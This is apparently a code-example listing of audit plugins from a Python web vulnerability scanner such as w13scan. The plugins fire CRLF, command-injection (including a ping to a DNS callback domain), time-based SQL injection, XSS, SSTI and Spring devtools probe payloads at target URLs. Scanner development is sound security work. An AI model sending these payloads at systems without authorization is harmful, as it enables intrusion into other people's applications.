             "čĊTestInject: myscan",
         ]
         # 载入各请求类型的对应参数
         iterdatas = self.generateItemdatas()
         for origin_dict, positon in iterdatas:
             payloads = self.paramsCombination(origin_dict, positon,
                                               payloads_header)
             # key是被替换的参数的key   value是是被替换的参数的值 new_value是使用的payload  payload是替换后的所有参数集,直接放入requests
             for key, value, new_value, payload in payloads:
                 r = self.req(positon, payload)
                 if "TestInject" in r.headers.keys():
                     result = self.new_result()
                     result.init_info(self.requests.url, "crlf 漏洞",
                                      VulType.CRLF)
                     result.add_detail("payload请求", r.reqinfo,
                                       generateResponse(r),
                                       "payload" + payload, "", "",
                                       PLACE.GET)
                     self.success(result)
Example #26
0
 def audit(self):
     url = self.requests.url
     p = urlparse(url)
     domain = "{}://{}/".format(p.scheme, p.netloc)
     result = self.new_result()
     headers = {
         "User-Agent":
         "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
         "Content-Type": "application/octet-stream",
         "AUTH-TOKEN": "jinqi123"
     }
     headers1 = {
         "User-Agent":
         "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
         "Content-Type": "application/octet-stream",
         "AUTH-TOKEN": "mysecret"
     }
     vul_url = domain + "/.~~spring-boot!~/restart"
     try:
         resp = requests.post(vul_url,
                              headers=headers,
                              data="a",
                              timeout=10)
         resp1 = requests.post(vul_url,
                               headers=headers1,
                               data="a",
                               timeout=10)
         if resp1.status_code == 500 and resp.status_code == 403:
             result.init_info(self.requests.url, "存在spring devtools 反序列化漏洞",
                              VulType.BRUTE_FORCE)
             result.add_detail("payload请求", resp.reqinfo,
                               generateResponse(resp), "api接口:" + vul_url,
                               "", "", PLACE.POST)
             self.success(result)
     except Exception as e:
         pass
Example #27
0
    def audit(self):
        url = self.requests.url

        if self.requests.suffix not in acceptedExt and conf.level < 4:
            return

        randint = random.randint(1000, 9000)
        url_flag = {
            "set|set&set": [
                'Path=[\s\S]*?PWD=', 'Path=[\s\S]*?PATHEXT=',
                'Path=[\s\S]*?SHELL=', 'Path\x3d[\s\S]*?PWD\x3d',
                'Path\x3d[\s\S]*?PATHEXT\x3d', 'Path\x3d[\s\S]*?SHELL\x3d',
                'SERVER_SIGNATURE=[\s\S]*?SERVER_SOFTWARE=',
                'SERVER_SIGNATURE\x3d[\s\S]*?SERVER_SOFTWARE\x3d',
                'Non-authoritative\sanswer:\s+Name:\s*',
                'Server:\s*.*?\nAddress:\s*'
            ],
            "echo `echo 6162983|base64`6162983".format(randint):
            ["NjE2Mjk4Mwo=6162983"]
        }
        if OS.WINDOWS in self.response.os:
            del url_flag["echo `echo 6162983|base64`6162983".format(randint)]

        # 无回显 payload
        # dnslog = DnsLogApi()
        # dnsdomain = dnslog.new_domain()
        # token = random_str(4)
        # dnslog_payload = "ping -nc 1 {}.{}".format(token, dnsdomain)
        # url_flag[dnslog_payload] = []

        # 内置平台 dns payload
        dns = reverseApi()
        if dns.isUseReverse():
            dnsdomain = dns.generate_dns_token()
            dns_token = dnsdomain["token"]
            fullname = dnsdomain["fullname"]
            reverse_payload = "ping -nc 1 {}".format(fullname)
            url_flag[reverse_payload] = []

        iterdatas = self.generateItemdatas()
        for origin_dict, positon in iterdatas:
            payloads = self.paramsCombination(origin_dict, positon, url_flag)
            for key, value, new_value, payload, re_list in payloads:
                r = self.req(positon, payload)
                if not r:
                    continue
                html1 = r.text
                for rule in re_list:
                    if re.search(rule, html1, re.I | re.S | re.M):
                        result = self.new_result()
                        result.init_info(url, "可执行任意系统命令",
                                         VulType.CMD_INNJECTION)
                        result.add_detail(
                            "payload请求", r.reqinfo, generateResponse(r),
                            "执行payload:{} 并发现正则回显{}".format(new_value, rule),
                            key, new_value, positon)
                        self.success(result)
                        break
                # if dnslog_payload in new_value:
                #     dnslist = dnslog.check()
                #     if dnslist:
                #         result = self.new_result()
                #         result.init_info(url, "可执行任意系统命令", VulType.CMD_INNJECTION)
                #         result.add_detail("payload请求", r.reqinfo, generateResponse(r),
                #                           "执行payload:{} dnslog平台接收到返回值".format(payload, repr(dnslist)), key,
                #                           new_value,
                #                           positon)
                #         self.success(result)
                #         break

                if dns.isUseReverse():
                    dnslist = dns.check(dns_token)
                    if dnslist:
                        result = self.new_result()
                        result.init_info(url, "可执行任意系统命令",
                                         VulType.CMD_INNJECTION)
                        result.add_detail(
                            "payload请求", r.reqinfo, generateResponse(r),
                            "执行payload:{} dnslog平台接收到返回值".format(
                                payload,
                                repr(dnslist)), key, new_value, positon)
                        self.success(result)
                        break
Example #28
0
    def audit(self):
        num = random_num(4)
        sql_times = {
            "MySQL":
            (" AND SLEEP({})".format(self.sleep_str),
             " AND SLEEP({})--+".format(self.sleep_str),
             "' AND SLEEP({})".format(self.sleep_str),
             "' AND SLEEP({})--+".format(self.sleep_str),
             "' AND SLEEP({}) AND '{}'='{}".format(self.sleep_str, num, num),
             '''" AND SLEEP({}) AND "{}"="{}'''.format(self.sleep_str, num,
                                                       num)),
            "Postgresql": (
                "AND {}=(SELECT {} FROM PG_SLEEP({}))".format(
                    num, num, self.sleep_str),
                "AND {}=(SELECT {} FROM PG_SLEEP({}))--+".format(
                    num, num, self.sleep_str),
            ),
            "Microsoft SQL Server or Sybase":
            (" waitfor delay '0:0:{}'--+".format(self.sleep_str),
             "' waitfor delay '0:0:{}'--+".format(self.sleep_str),
             '''" waitfor delay '0:0:{}'--+'''.format(self.sleep_str)),
            "Oracle": (
                " and 1= dbms_pipe.receive_message('RDS', {})--+".format(
                    self.sleep_str),
                "' and 1= dbms_pipe.receive_message('RDS', {})--+".format(
                    self.sleep_str),
                '''"  and 1= dbms_pipe.receive_message('RDS', {})--+'''.format(
                    self.sleep_str),
                "AND 3437=DBMS_PIPE.RECEIVE_MESSAGE(CHR(100)||CHR(119)||CHR(112)||CHR(71),{})"
                .format(self.sleep_str),
                "AND 3437=DBMS_PIPE.RECEIVE_MESSAGE(CHR(100)||CHR(119)||CHR(112)||CHR(71),{})--+"
                .format(self.sleep_str),
            )
        }
        # 载入处理位置以及原始payload
        iterdatas = self.generateItemdatas()

        # 根据原始payload和位置组合新的payload
        for origin_dict, position in iterdatas:
            if position == PLACE.URI:
                continue
            for dbms_type, _payloads in sql_times.items():
                for payloadTemplate in _payloads:
                    r1 = r0 = None
                    delta = 0
                    flag = 0
                    new_dict, zero_dict = self.generatePayloads(
                        payloadTemplate, origin_dict)
                    for i in range(self.verify_count):
                        start_time = time.perf_counter()
                        r1 = self.req(position, new_dict)
                        if not r1:
                            continue
                        end_time_1 = time.perf_counter()
                        delta1 = end_time_1 - start_time
                        if delta1 > self.sleep_time:
                            r0 = self.req(position, zero_dict)
                            end_time_0 = time.perf_counter()
                            delta0 = end_time_0 - end_time_1
                            if delta1 > delta0 > 0:
                                flag += 1
                                delta = round(delta1 - delta0, 3)
                                continue
                        break

                    if r1 is not None and flag == self.verify_count:
                        result = self.new_result()
                        result.init_info(self.requests.url, "SQL注入",
                                         VulType.SQLI)
                        for key, payload in new_dict:
                            result.add_detail(
                                "payload探测", r1.reqinfo, generateResponse(r1),
                                "DBMS_TYPE:{},时间相差:{}s".format(
                                    dbms_type, delta), key, payload, position)
                        self.success(result)
                        return True
Example #29
0
File: xss.py Project: dycsy/w13scan
    def audit(self):

        parse_params = set(getParamsFromHtml(self.response.text))
        resp = self.response.text
        params_data = {}
        self.init()
        iterdatas = []
        if self.requests.method == HTTPMETHOD.GET:
            parse_params = (parse_params | TOP_RISK_GET_PARAMS) - set(
                self.requests.params.keys())
            for key in parse_params:
                params_data[key] = random_str(6)
            params_data.update(self.requests.params)
            resp = requests.get(self.requests.netloc,
                                params=params_data,
                                headers=self.requests.headers).text
            iterdatas = self.generateItemdatas(params_data)
        elif self.requests.method == HTTPMETHOD.POST:
            parse_params = (parse_params) - set(self.requests.post_data.keys())
            for key in parse_params:
                params_data[key] = random_str(6)
            params_data.update(self.requests.post_data)
            resp = requests.post(self.requests.url,
                                 data=params_data,
                                 headers=self.requests.headers).text
            iterdatas = self.generateItemdatas(params_data)

        for origin_dict, positon in iterdatas:
            # 先不支持uri上的xss,只支持get post cookie上的xss
            if positon == PLACE.URI:
                continue
            for k, v in origin_dict.items():
                v = unquote(v)
                if v not in resp:
                    continue
                data = copy.deepcopy(origin_dict)
                # 探测回显
                xsschecker = "0x" + random_str(6, string.digits + "abcdef")
                data[k] = xsschecker
                r1 = self.req(positon, data)

                if not re.search(xsschecker, r1.text, re.I):
                    continue
                html_type = r1.headers.get("Content-Type", "").lower()

                XSS_LIMIT_CONTENT_TYPE = conf.XSS_LIMIT_CONTENT_TYPE
                if XSS_LIMIT_CONTENT_TYPE and 'html' not in html_type:
                    continue

                # 反射位置查找
                locations = SearchInputInResponse(xsschecker, r1.text)

                if len(locations) == 0:
                    # 找不到反射位置,找下自己原因?
                    flag = random_str(5)
                    payload = "<{}//".format(flag)
                    data[k] = payload
                    req = self.req(positon, data)
                    if payload in req.text:
                        self.result.add_detail(
                            "html代码未转义", req.reqinfo, generateResponse(req),
                            "可使用<svg onload=alert`1`// 进行攻击测试,注意返回格式为:" +
                            html_type, k, data[k], positon)

                for item in locations:
                    _type = item["type"]
                    details = item["details"]

                    if _type == "html":
                        if details["tagname"] == "style":
                            payload = "expression(a({}))".format(
                                random_str(6, string.ascii_lowercase))
                            data[k] = payload
                            req = self.req(positon, data)
                            _locations = SearchInputInResponse(
                                payload, req.text)
                            for _item in _locations:
                                if payload in _item["details"][
                                        "content"] and _item["details"][
                                            "tagname"] == "style":
                                    self.result.add_detail(
                                        "IE下可执行的表达式", req.reqinfo,
                                        generateResponse(req.text),
                                        "IE下可执行的表达式 expression(alert(1))", k,
                                        data[k], positon)
                                    break
                        flag = random_str(7)
                        payload = "</{}><{}>".format(
                            random_upper(details["tagname"]), flag)
                        truepayload = "</{}>{}".format(
                            random_upper(details["tagname"]),
                            "<svg onload=alert`1`>")
                        data[k] = payload
                        req = self.req(positon, data)
                        _locations = SearchInputInResponse(flag, req.text)
                        for i in _locations:
                            if i["details"]["tagname"] == flag:
                                self.result.add_detail(
                                    "html标签可被闭合", req.reqinfo,
                                    generateResponse(req),
                                    "<{}>可被闭合,可使用{}进行攻击测试,注意返回格式为:{}".format(
                                        details["tagname"], truepayload,
                                        html_type), k, data[k], positon)
                                break
                    elif _type == "attibute":
                        if details["content"] == "key":
                            # test html
                            flag = random_str(7)
                            payload = "><{}".format(flag)
                            truepayload = "><svg onload=alert`1`>"
                            data[k] = payload
                            req = self.req(positon, data)
                            _locations = SearchInputInResponse(flag, req.text)
                            for i in _locations:
                                if i["details"]["tagname"] == flag:
                                    self.result.add_detail(
                                        "html标签可被闭合", req.reqinfo,
                                        generateResponse(req),
                                        "<{}>可被闭合,可使用{}进行攻击测试,注意返回格式为:{}".
                                        format(details["tagname"], truepayload,
                                               html_type), k, data[k], positon)
                                    break
                            # test attibutes
                            flag = random_str(5)
                            payload = flag + "="
                            data[k] = payload
                            req = self.req(positon, data)
                            _locations = SearchInputInResponse(flag, req.text)
                            for i in _locations:
                                for _k, v in i["details"]["attibutes"]:
                                    if _k == flag:
                                        self.result.add_detail(
                                            "可自定义任意标签事件", req.reqinfo,
                                            generateResponse(req),
                                            "可以自定义类似 'onmouseover=prompt(1)'的标签事件,注意返回格式为:"
                                            + html_type, k, payload, positon)
                                        break
                        else:
                            # test attibutes
                            flag = random_str(5)
                            for _payload in ["'", "\"", ""]:
                                payload = _payload + flag + "=" + _payload
                                truepayload = "{payload} onmouseover=prompt(1){payload}".format(
                                    payload=_payload)
                                data[k] = payload
                                req = self.req(positon, data)
                                _occerens = SearchInputInResponse(
                                    flag, req.text)
                                for i in _occerens:
                                    for _k, _v in i["details"]["attibutes"]:
                                        if _k == flag:
                                            self.result.add_detail(
                                                "引号可被闭合,可使用其他事件造成xss",
                                                req.reqinfo,
                                                generateResponse(req),
                                                "可使用payload:{},注意返回格式为:{}".
                                                format(truepayload, html_type),
                                                k, payload, positon)
                                            break
                            # test html
                            flag = random_str(7)
                            for _payload in [r"'><{}>", "\"><{}>"]:
                                payload = _payload.format(flag)
                                data[k] = payload
                                req = self.req(positon, data)
                                _occerens = SearchInputInResponse(
                                    flag, req.text)
                                for i in _occerens:
                                    if i["details"]["tagname"] == flag:
                                        self.result.add_detail(
                                            "html标签可被闭合", req.reqinfo,
                                            generateResponse(req),
                                            "可测试payload:{}".format(
                                                _payload.format(
                                                    "svg onload=alert`1`")) +
                                            ",返回格式为:" + html_type, k, data[k],
                                            positon)
                                        break
                            # 针对特殊属性进行处理
                            specialAttributes = [
                                'srcdoc', 'src', 'action', 'data', 'href'
                            ]  # 特殊处理属性
                            keyname = details["attibutes"][0][0]
                            tagname = details["tagname"]
                            if keyname in specialAttributes:
                                flag = random_str(7)
                                data[k] = flag
                                req = self.req(positon, data)
                                _occerens = SearchInputInResponse(
                                    flag, req.text)
                                for i in _occerens:
                                    if len(i["details"]["attibutes"]) > 0 and i["details"]["attibutes"][0][
                                        0] == keyname and \
                                            i["details"]["attibutes"][0][1] == flag:
                                        truepayload = flag
                                        if i["details"]["attibutes"][0][
                                                0] in specialAttributes:
                                            truepayload = "javascript:alert(1)"

                                        self.result.add_detail(
                                            "值可控", req.reqinfo,
                                            generateResponse(req),
                                            "{}的值可控,可能被恶意攻击,payload:{},注意返回格式为:{}"
                                            .format(keyname, truepayload,
                                                    html_type), k, data[k],
                                            positon)
                                        break
                            elif keyname == "style":
                                payload = "expression(a({}))".format(
                                    random_str(6, string.ascii_lowercase))
                                data[k] = payload
                                req = self.req(positon, data)
                                _occerens = SearchInputInResponse(
                                    payload, req.text)
                                for _item in _occerens:
                                    if payload in str(_item["details"]) and len(_item["details"]["attibutes"]) > 0 and \
                                            _item["details"]["attibutes"][0][0] == keyname:
                                        self.result.add_detail(
                                            "IE下可执行的表达式", req.reqinfo,
                                            generateResponse(req.text),
                                            "IE下可执行的表达式 payload:expression(alert(1))",
                                            k, data[k], positon)
                                        break
                            elif keyname.lower() in XSS_EVAL_ATTITUDES:
                                # 在任何可执行的属性中
                                payload = random_str(6, string.ascii_lowercase)
                                data[k] = payload
                                req = self.req(positon, data)
                                _occerens = SearchInputInResponse(
                                    payload, req.text)
                                for i in _occerens:
                                    _attibutes = i["details"]["attibutes"]
                                    if len(_attibutes) > 0 and _attibutes[0][
                                            1] == payload and _attibutes[0][
                                                0].lower() == keyname.lower():
                                        self.result.add_detail(
                                            "事件的值可控", req.reqinfo,
                                            generateResponse(req),
                                            "{}的值可控,可能被恶意攻击,注意返回格式为:{}".format(
                                                keyname, html_type), k,
                                            data[k], positon)
                                        break
                    elif _type == "comment":
                        flag = random_str(7)
                        for _payload in ["-->", "--!>"]:
                            payload = "{}<{}>".format(_payload, flag)
                            truepayload = payload.format(
                                _payload, "svg onload=alert`1`")
                            data[k] = payload
                            req = self.req(positon, data)
                            _occerens = SearchInputInResponse(flag, req.text)
                            for i in _occerens:
                                if i["details"]["tagname"] == flag:
                                    self.result.add_detail(
                                        "html注释可被闭合", req.reqinfo,
                                        generateResponse(req),
                                        "html注释可被闭合 测试payload:{},注意返回格式为:{}".
                                        format(truepayload,
                                               html_type), k, data[k], positon)
                                    break
                    elif _type == "script":
                        # test html
                        flag = random_str(7)
                        script_tag = random_upper(details["tagname"])
                        payload = "</{}><{}>{}</{}>".format(
                            script_tag, script_tag, flag, script_tag)
                        truepayload = "</{}><{}>{}</{}>".format(
                            script_tag, script_tag, "prompt(1)", script_tag)
                        data[k] = payload
                        req = self.req(positon, data)
                        _occerens = SearchInputInResponse(flag, req.text)
                        for i in _occerens:
                            if i["details"]["content"] == flag and i[
                                    "details"]["tagname"].lower(
                                    ) == script_tag.lower():
                                self.result.add_detail(
                                    "可以新建script标签执行任意代码", req.reqinfo,
                                    generateResponse(req),
                                    "可以新建script标签执行任意代码 测试payload:{},注意返回格式为:{}"
                                    .format(truepayload,
                                            html_type), k, data[k], positon)
                                break

                        # js 语法树分析反射
                        source = details["content"]
                        _occurences = SearchInputInScript(xsschecker, source)
                        for i in _occurences:
                            _type = i["type"]
                            _details = i["details"]
                            if _type == "InlineComment":
                                flag = random_str(5)
                                payload = "\n;{};//".format(flag)
                                truepayload = "\n;{};//".format('prompt(1)')
                                data[k] = payload
                                resp = self.req(positon, data).text
                                for _item in SearchInputInResponse(flag, resp):
                                    if _item["details"]["tagname"] != "script":
                                        continue
                                    resp2 = _item["details"]["content"]
                                    output = SearchInputInScript(flag, resp2)
                                    for _output in output:
                                        if flag in _output["details"][
                                                "content"] and _output[
                                                    "type"] == "ScriptIdentifier":
                                            self.result.add_detail(
                                                "js单行注释bypass", req.reqinfo,
                                                generateResponse(req),
                                                "js单行注释可被\\n bypass,注意返回格式为:" +
                                                html_type.format(truepayload),
                                                k, data[k], positon)
                                            break

                            elif _type == "BlockComment":
                                flag = "0x" + random_str(4, "abcdef123456")
                                payload = "*/{};/*".format(flag)
                                truepayload = "*/{};/*".format('prompt(1)')
                                data[k] = payload
                                resp = self.req(positon, data).text
                                for _item in SearchInputInResponse(flag, resp):
                                    if _item["details"]["tagname"] != "script":
                                        continue
                                    resp2 = _item["details"]["content"]
                                    output = SearchInputInScript(flag, resp2)
                                    for _output in output:
                                        if flag in _output["details"][
                                                "content"] and _output[
                                                    "type"] == "ScriptIdentifier":
                                            self.result.add_detail(
                                                "js块注释可被bypass", req.reqinfo,
                                                generateResponse(req),
                                                "js单行注释可被\\n bypass,注意返回格式为:" +
                                                html_type.format(truepayload),
                                                k, data[k], positon)
                                            break
                            elif _type == "ScriptIdentifier":
                                self.result.add_detail(
                                    "可直接执行任意js命令", req.reqinfo,
                                    generateResponse(req),
                                    "ScriptIdentifier类型 测试payload:prompt(1);//,注意返回格式为:"
                                    + html_type, k, data[k], positon)
                            elif _type == "ScriptLiteral":
                                content = _details["content"]
                                quote = content[0]
                                flag = random_str(6)
                                if quote == "'" or quote == "\"":
                                    payload = '{quote}-{rand}-{quote}'.format(
                                        quote=quote, rand=flag)
                                    truepayload = '{quote}-{rand}-{quote}'.format(
                                        quote=quote, rand="prompt(1)")
                                else:
                                    flag = "0x" + random_str(4, "abcdef123456")
                                    payload = flag
                                    truepayload = "prompt(1)"
                                data[k] = payload
                                resp = self.req(positon, data).text
                                resp2 = None
                                for _item in SearchInputInResponse(
                                        payload, resp):
                                    if payload in _item["details"][
                                            "content"] and _item[
                                                "type"] == "script":
                                        resp2 = _item["details"]["content"]

                                if not resp2:
                                    continue
                                output = SearchInputInScript(flag, resp2)

                                if output:
                                    for _output in output:
                                        if flag in _output["details"][
                                                "content"] and _output[
                                                    "type"] == "ScriptIdentifier":
                                            self.result.add_detail(
                                                "script脚本内容可被任意设置",
                                                req.reqinfo,
                                                generateResponse(req),
                                                "测试payload:{},注意返回格式为:{}".
                                                format(truepayload, html_type),
                                                k, data[k], positon)
                                            break

                # ssti检测
                randnum1 = random.randint(50, 500)
                randnum2 = random.randint(80, 400)
                checksum = str(randnum1 * randnum2)
                ssti_payloads = self.getSSTIPayload(randnum1, randnum2)
                for payload in ssti_payloads:
                    data[k] = payload
                    # 不编码请求
                    r1 = self.req(positon, url_dict2str(data, positon))
                    if checksum in r1.text:
                        result = self.new_result()
                        result.init_info(self.requests.url, "SSTI模板注入",
                                         VulType.XSS)
                        result.add_detail(
                            "payload请求", r1.reqinfo, generateResponse(r1),
                            "payload:{} 会回显{} 不编码payload".format(
                                payload, checksum), k, payload, positon)
                        self.success(result)
                    # url编码请求
                    r1 = self.req(positon, data)
                    if checksum in r1.text:
                        result = self.new_result()
                        result.init_info(self.requests.url, "SSTI模板注入",
                                         VulType.XSS)
                        result.add_detail(
                            "payload请求", r1.reqinfo, generateResponse(r1),
                            "payload:{} 会回显{} url编码payload".format(
                                payload, checksum), k, payload, positon)
                        self.success(result)
                    # html编码请求
                    r1 = self.req(positon, data)
                    if checksum in r1.text:
                        result = self.new_result()
                        result.init_info(self.requests.url, "SSTI模板注入",
                                         VulType.XSS)
                        result.add_detail(
                            "payload请求", r1.reqinfo, generateResponse(r1),
                            "payload:{} 会回显{} html编码payload".format(
                                payload, checksum), k, payload, positon)
                        self.success(result)

        if len(self.result.detail) > 0:
            self.success(self.result)
Example #30
0
    def inject(self, params, positon, k, payload_false, payload_true):
        data = copy.deepcopy(params)
        is_inject = False

        data[k] = payload_false
        r2 = self.req(positon, url_dict2str(data, positon))
        falsePage = self.removeDynamicContent(r2.text)

        try:
            self.seqMatcher.set_seq1(self.resp_str)
            self.seqMatcher.set_seq2(falsePage)
            ratio_false = round(self.seqMatcher.quick_ratio(), 3)
            if ratio_false == 1.0:
                return False
        except (MemoryError, OverflowError):
            return False

        # true page
        data[k] = payload_true
        r = self.req(positon, url_dict2str(data, positon))
        truePage = self.removeDynamicContent(r.text)

        if truePage == falsePage:
            return False

        try:
            self.seqMatcher.set_seq1(self.resp_str or "")
            self.seqMatcher.set_seq2(truePage or "")
            ratio_true = round(self.seqMatcher.quick_ratio(), 3)
        except (MemoryError, OverflowError):
            return False

        if ratio_true > self.UPPER_RATIO_BOUND and abs(
                ratio_true - ratio_false) > self.DIFF_TOLERANCE:
            if ratio_false <= self.UPPER_RATIO_BOUND:
                is_inject = True
        if not is_inject and ratio_true > 0.68 and ratio_true > ratio_false:
            originalSet = set(
                getFilteredPageContent(self.resp_str, True, "\n").split("\n"))
            trueSet = set(
                getFilteredPageContent(truePage, True, "\n").split("\n"))
            falseSet = set(
                getFilteredPageContent(falsePage, True, "\n").split("\n"))

            if len(originalSet - trueSet) <= 2 and trueSet != falseSet:
                candidates = trueSet - falseSet
                if len(candidates) > 0:
                    is_inject = True
                # if candidates:
                #     candidates = sorted(candidates, key=len)
                #     for candidate in candidates:
                #         if re.match(r"\A[\w.,! ]+\Z",
                #                     candidate) and ' ' in candidate and candidate.strip() and len(
                #             candidate) > 10:
                #             is_inject = True
                #             break

        if is_inject:
            ret = []
            ret.append({
                "request": r.reqinfo,
                "response": generateResponse(r),
                "key": k,
                "payload": payload_true,
                "position": positon,
                "desc": "发送True请求包与原网页相似度:{}".format(ratio_true)
            })
            ret.append({
                "request": r2.reqinfo,
                "response": generateResponse(r2),
                "key": k,
                "payload": payload_false,
                "position": positon,
                "desc": "发送False请求包与原网页相似度:{}".format(ratio_false)
            })
            return ret
        else:
            return False